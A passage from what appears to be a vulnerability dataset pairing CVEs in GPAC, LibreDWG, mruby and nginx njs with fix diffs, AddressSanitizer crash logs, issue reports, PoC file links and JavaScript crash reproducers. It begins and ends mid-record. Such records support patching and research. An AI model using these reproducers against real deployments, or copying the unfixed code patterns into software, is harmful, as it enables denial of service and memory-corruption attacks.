LLVMSymbolizer: error reading file: No such file or directory
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15
#2 0x7ffd05c3a8df ([stack]+0x328df)
SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free
==827317==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/df_105972
# Credit
```
Gandalf4a
``` | https://nvd.nist.gov/vuln/detail/CVE-2023-48013 | |
gpac.cve-2023-48011 | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a heap-use-after-free via the flush_ref_samples function at /gpac/src/isomedia/movie_fragments.c. | https://github.com/gpac/gpac/issues/2611 | https://github.com/gpac/gpac/commit/c70f49dda4946d6db6aa55588f6a756b76bd84ea | CWE-416 | gpac/gpac | c70f49dda4946d6db6aa55588f6a756b76bd84ea~1 | diff --git a/src/isomedia/movie_fragments.c b/src/isomedia/movie_fragments.c
index b7f7ade327..d665eeb9d0 100644
--- a/src/isomedia/movie_fragments.c
+++ b/src/isomedia/movie_fragments.c
@@ -591,6 +591,7 @@ u32 UpdateRuns(GF_ISOFile *movie, GF_TrackFragmentBox *traf)
while (gf_list_count(traf->TrackRuns)) {
trun = (GF_TrackFragmentRunBox *)gf_list_get(traf->TrackRuns, 0);
gf_list_rem(traf->TrackRuns, 0);
+ gf_list_del_item(movie->moof->trun_list, trun);
gf_isom_box_del_parent(&traf->child_boxes, (GF_Box *)trun);
}
traf->tfhd->flags |= GF_ISOM_TRAF_DUR_EMPTY;
@@ -643,6 +644,7 @@ u32 UpdateRuns(GF_ISOFile *movie, GF_TrackFragmentBox *traf)
if (!first_ent) {
i--;
gf_list_rem(traf->TrackRuns, i);
+ gf_list_del_item(movie->moof->trun_list, trun);
continue;
}
trun->flags = 0;
| https://github.com/gpac/gpac/issues/2611 | ==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68
READ of size 8 at 0x60b000001d88 thread T0
#0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37
#1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4
#2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8
#3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90)
freed by thread T0 here:
#0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3
previously allocated by thread T0 here:
#0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2
#2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9
#3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14
#4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9
#5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8
#6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
Shadow bytes around the buggy address:
0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00
0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd
0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==836900==ABORTING | ASan (inferred) | === https://github.com/gpac/gpac/issues/2611 ===
Title: heap-use-after-free in ./gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
---
Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
[33m[iso file] extra box maxr found in hinf, deleting
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[iso file] Box "stss" (start 9939) has 32 extra bytes
[0m[33m[iso file] extra box maxr found in hinf, deleting
[0m[33m[iso file] Track with no sample description box !
[0m[33m[IsoMedia] Track 4 type MPEG not natively handled
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[MP4Mux] muxing unknown codec ID Codec Not Supported, using generic sample entry with 4CC "MPEG"
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[MP4Mux] Failed to add sample DTS 0 from O7 - prev DTS 18446744073709551615: Out Of Memory
[0m=================================================================
==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68
READ of size 8 at 0x60b000001d88 thread T0
#0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37
#1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4
#2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8
#3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90)
freed by thread T0 here:
#0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3
previously allocated by thread T0 here:
#0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2
#2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9
#3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14
#4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9
#5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8
#6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
Shadow bytes around the buggy address:
0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00
0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd
0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==836900==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/huaf_936
# Credit
```
Gandalf4a
``` | https://nvd.nist.gov/vuln/detail/CVE-2023-48011 |
libredwg.cve-2021-28237 | LibreDWG v0.12.3 was discovered to contain a heap-buffer overflow via decode_preR13. | https://github.com/LibreDWG/libredwg/issues/325 | https://github.com/LibreDWG/libredwg/commit/ea0b9522f63d049ded2c3cff8d9a8c360119951c | CWE-787 | LibreDWG/libredwg | ea0b9522f63d049ded2c3cff8d9a8c360119951c~1 | diff --git a/src/decode.c b/src/decode.c
index 444775afd1..79134db0b3 100644
--- a/src/decode.c
+++ b/src/decode.c
@@ -329,19 +329,20 @@ decode_preR13_section (Dwg_Section_Type_r11 id, Bit_Chain *restrict dat,
// TODO: move to a spec dwg_r11.spec, and dwg_decode_r11_NAME
#define PREP_TABLE(token) \
- Dwg_Object *obj = &dwg->object[num + i]; \
- Dwg_Object_##token *_obj = (Dwg_Object_##token*)calloc (1, sizeof (Dwg_Object_##token)); \
- if (dat->byte > dat->size) \
- { \
- free (_obj); \
- return DWG_ERR_INVALIDDWG; \
- } \
- obj->tio.object = (Dwg_Object_Object*)calloc (1, sizeof (Dwg_Object_Object)); \
+ Dwg_Object *obj; \
+ Dwg_Object_##token *_obj; \
+ if (dat->byte > dat->size || (num + i) >= dwg->num_objects) \
+ return DWG_ERR_INVALIDDWG; \
+ obj = &dwg->object[num + i]; \
+ _obj = (Dwg_Object_##token *)calloc (1, sizeof (Dwg_Object_##token)); \
+ obj->tio.object \
+ = (Dwg_Object_Object *)calloc (1, sizeof (Dwg_Object_Object)); \
if (!_obj || !obj->tio.object) \
{ \
- if (_obj) free (_obj); \
+ if (_obj) \
+ free (_obj); \
return DWG_ERR_OUTOFMEM; \
- } \
+ } \
obj->index = num + i; \
dwg->num_objects++; \
obj->tio.object->tio.token = _obj; \
| https://github.com/LibreDWG/libredwg/issues/325 | ➜ ./dwgread ./poc
ERROR: This version of LibreDWG is only capable of decoding version r13-r2018 (code: AC1012-AC1032) DWG files.
We don't decode many entities and no blocks yet.
ERROR: offset -39
ERROR: offset -85
=================================================================
==12538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000001c8 at pc 0x7ffff29b78be bp 0x7fffffffa8e0 sp 0x7fffffffa8d0
WRITE of size 8 at 0x6120000001c8 thread T0
#0 0x7ffff29b78bd in decode_preR13_section /home/yuan/afl-target/libredwg-asan/src/decode.c:470
#1 0x7ffff2a26e90 in decode_preR13 /home/yuan/afl-target/libredwg-asan/src/decode.c:744
#2 0x7ffff29a43e9 in dwg_decode /home/yuan/afl-target/libredwg-asan/src/decode.c:235
#3 0x7ffff297afa4 in dwg_read_file /home/yuan/afl-target/libredwg-asan/src/dwg.c:253
#4 0x5555555576f3 in main /home/yuan/afl-target/libredwg-asan/programs/dwgread.c:251
#5 0x7ffff1f52bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#6 0x5555555562a9 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwgread+0x22a9)
Address 0x6120000001c8 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/yuan/afl-target/libredwg-asan/src/decode.c:470 in decode_preR13_section
Shadow bytes around the buggy address:
0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
=>0x0c247fff8030: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa
0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==12538==ABORTING | === https://github.com/LibreDWG/libredwg/issues/325 ===
Title: Heap-buffer-overflow in decode_preR13 line 470
---
Body:
I found a heap buffer overflow in the current master (8072563).
# Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure
# Command
`./dwgread ./poc`
# ASAN report
```
➜ ./dwgread ./poc
ERROR: This version of LibreDWG is only capable of decoding version r13-r2018 (code: AC1012-AC1032) DWG files.
We don't decode many entities and no blocks yet.
ERROR: offset -39
ERROR: offset -85
=================================================================
==12538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000001c8 at pc 0x7ffff29b78be bp 0x7fffffffa8e0 sp 0x7fffffffa8d0
WRITE of size 8 at 0x6120000001c8 thread T0
#0 0x7ffff29b78bd in decode_preR13_section /home/yuan/afl-target/libredwg-asan/src/decode.c:470
#1 0x7ffff2a26e90 in decode_preR13 /home/yuan/afl-target/libredwg-asan/src/decode.c:744
#2 0x7ffff29a43e9 in dwg_decode /home/yuan/afl-target/libredwg-asan/src/decode.c:235
#3 0x7ffff297afa4 in dwg_read_file /home/yuan/afl-target/libredwg-asan/src/dwg.c:253
#4 0x5555555576f3 in main /home/yuan/afl-target/libredwg-asan/programs/dwgread.c:251
#5 0x7ffff1f52bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#6 0x5555555562a9 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwgread+0x22a9)
Address 0x6120000001c8 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/yuan/afl-target/libredwg-asan/src/decode.c:470 in decode_preR13_section
Shadow bytes around the buggy address:
0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
=>0x0c247fff8030: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa
0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==12538==ABORTING
```
# POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/6080842/poc.zip)
---
Comment #1 by rurban:
We don't release this code-path yet. fuzzers should configure with `--enable-release`. it is only run with git checkouts.
Fixed with ea0b9522f63d049ded2c3cff8d9a8c360119951c
---
Comment #2 by zodf0055980:
Sorry, I will add `--enable-release` to run fuzzing, thanks. | https://nvd.nist.gov/vuln/detail/CVE-2021-28237 | |
mruby.cve-2022-0631 | Heap-based Buffer Overflow in Homebrew mruby prior to 3.2. | https://huntr.dev/bounties/9bdc49ca-6697-4adc-a785-081e1961bf40 | https://github.com/mruby/mruby/commit/47068ae07a5fa3aa9a1879cdfe98a9ce0f339299, https://huntr.dev/bounties/9bdc49ca-6697-4adc-a785-081e1961bf40 | CWE-122 | mruby/mruby | 47068ae07a5fa3aa9a1879cdfe98a9ce0f339299~1 | diff --git a/src/vm.c b/src/vm.c
index 9cb50847f2..aa5569503e 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -689,9 +689,11 @@ mrb_f_send(mrb_state *mrb, mrb_value self)
regs = mrb->c->ci->stack+1;
if (n == 0) {
+ argnum_error:
mrb_argnum_error(mrb, 0, 1, -1);
}
else if (n == 15) {
+ if (RARRAY_LEN(regs[0]) == 0) goto argnum_error;
name = mrb_obj_to_sym(mrb, RARRAY_PTR(regs[0])[0]);
}
else {
| https://nvd.nist.gov/vuln/detail/CVE-2022-0631 | ||||
mruby.cve-2022-1934 | Use After Free in GitHub repository mruby/mruby prior to 3.2. | https://huntr.dev/bounties/99e6df06-b9f7-4c53-a722-6bb89fbfb51f | https://github.com/mruby/mruby/commit/aa7f98dedb68d735a1665d3a289036c88b0c47ce, https://huntr.dev/bounties/99e6df06-b9f7-4c53-a722-6bb89fbfb51f | CWE-416 | mruby/mruby | aa7f98dedb68d735a1665d3a289036c88b0c47ce~1 | diff --git a/src/vm.c b/src/vm.c
index b04c9d7e58..09e557dc8e 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -1159,18 +1159,20 @@ check_target_class(mrb_state *mrb)
return target;
}
+#define regs (mrb->c->ci->stack)
+
static mrb_value
-hash_new_from_values(mrb_state *mrb, mrb_int argc, mrb_value *regs)
+hash_new_from_regs(mrb_state *mrb, mrb_int argc, mrb_int idx)
{
mrb_value hash = mrb_hash_new_capa(mrb, argc);
while (argc--) {
- mrb_hash_set(mrb, hash, regs[0], regs[1]);
- regs += 2;
+ mrb_hash_set(mrb, hash, regs[idx+0], regs[idx+1]);
+ idx += 2;
}
return hash;
}
-#define ARGUMENT_NORMALIZE(arg_base, arg_info, insn) do { \
+#define ARGUMENT_NORMALIZE(arg_base, arg_info, insn) do { \
int n = *(arg_info)&0xf; \
int nk = (*(arg_info)>>4)&0xf; \
mrb_int bidx = (arg_base) + mrb_bidx(*(arg_info)); \
@@ -1179,7 +1181,7 @@ hash_new_from_values(mrb_state *mrb, mrb_int argc, mrb_value *regs)
} \
else if (nk > 0) { /* pack keyword arguments */ \
mrb_int kidx = (arg_base)+(n==CALL_MAXARGS?1:n)+1; \
- mrb_value kdict = hash_new_from_values(mrb, nk, regs+kidx); \
+ mrb_value kdict = hash_new_from_regs(mrb, nk, kidx); \
regs[kidx] = kdict; \
nk = CALL_MAXARGS; \
*(arg_info) = n | (nk<<4); \
@@ -1242,7 +1244,6 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc)
mrb->jmp = &c_jmp;
mrb_vm_ci_proc_set(mrb->c->ci, proc);
-#define regs (mrb->c->ci->stack)
INIT_DISPATCH {
CASE(OP_NOP, Z) {
/* do nothing */
| https://nvd.nist.gov/vuln/detail/CVE-2022-1934 | ||||
njs.cve-2022-34029 | Nginx NJS v0.7.4 was discovered to contain an out-of-bounds read via njs_scope_value at njs_scope.h. | https://github.com/nginx/njs/issues/506 | https://github.com/nginx/njs/commit/d09868bc71f9a990445959329ad8c1b10d3898f5 | CWE-125 | nginx/njs | d09868bc71f9a990445959329ad8c1b10d3898f5~1 | diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c
index 9833ada03..cc33d20b2 100644
--- a/src/njs_vmcode.c
+++ b/src/njs_vmcode.c
@@ -856,9 +856,15 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap,
case NJS_VMCODE_AWAIT:
await = (njs_vmcode_await_t *) pc;
+ ret = njs_vmcode_await(vm, await, promise_cap, async_ctx);
+
njs_vmcode_debug(vm, pc, "EXIT AWAIT");
- return njs_vmcode_await(vm, await, promise_cap, async_ctx);
+ if (njs_slow_path(ret == NJS_ERROR)) {
+ goto error;
+ }
+
+ return ret;
case NJS_VMCODE_TRY_START:
ret = njs_vmcode_try_start(vm, value1, value2, pc);
@@ -1923,6 +1929,7 @@ njs_vmcode_await(njs_vm_t *vm, njs_vmcode_await_t *await,
value = njs_scope_valid_value(vm, await->retval);
if (njs_slow_path(value == NULL)) {
+ njs_internal_error(vm, "await->retval is invalid");
return NJS_ERROR;
}
diff --git a/test/js/async_exception_in_await.t.js b/test/js/async_exception_in_await.t.js
new file mode 100644
index 000000000..cc9bc8ab6
--- /dev/null
+++ b/test/js/async_exception_in_await.t.js
@@ -0,0 +1,22 @@
+/*---
+includes: []
+flags: []
+---*/
+
+var p = new Promise(() => 0);
+Object.defineProperty(p, "constructor", {get: () => ({}).a.a});
+
+async function g() {
+ try {
+ await p;
+ } catch (e) {
+ }
+}
+
+function f() {
+ g();
+
+ return 42;
+}
+
+assert.sameValue(f(), 42);
| https://github.com/nginx/njs/issues/506 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==815==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000040 (pc 0x0000004ff20b bp 0x7ffc7abf6030 sp 0x7ffc7abf5880 T0)
==815==The signal is caused by a READ memory access.
==815==Hint: address points to the zero page.
#0 0x4ff20b in njs_scope_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12
#1 0x4ff20b in njs_scope_valid_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:84:13
#2 0x4ff20b in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:155:13
#3 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11
#4 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19
#5 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11
#6 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15
#7 0x7f8dc7694082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)
#8 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12 in njs_scope_value
==815==ABORTING | ASan (inferred) | === https://github.com/nginx/njs/issues/506 ===
Title: SEGV njs_scope.h:74:12 Out-of-bounds Read in njs_scope_value
---
Body:
Environment
```OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : 9f4ebc96148308a8ce12f2b54432c87e6d78b881
Version : 0.7.4
Build :
./configure --cc=clang --address-sanitizer=YES
make
```
Proof of concept
```js
// Minimizing 34F6ED23-C193-452B-B724-E62BD7E15360
function placeholder(){}
function main() {
function v0(v1,v2,v3,v4,...v5) {
try {
async function v7(v8,v9,v10,v11) {
var v12 = await Proxy;
}
var v13 = v0();
} catch(v14) {
} finally {
}
var v15 = {};
var v16 = /gL8?/;
var v17 = {};
var v18 = [v15,v17,v16];
function v20(v21) {
v18[1866532165] = Map;
}
async function v24(v25,v26) {
var v27 = await Map;
}
function v28(v29,v30) {
}
var v32 = new Promise(v28);
var v34 = v32["catch"]();
var v37 = {"get":Promise,"set":v24};
var v38 = Object.defineProperty(v34,"constructor",v37);
async function v39(v40,v41) {
var v42 = await v38;
}
var v43 = v39();
var v44 = v20(Map);
}
var v45 = v0();
}
main();
```
Minified
```js
function run_then() {}
function f(n) {
if (n == 2) {
return;
}
try {
f(n + 1);
} catch(e) {
}
var p = new Promise(run_then);
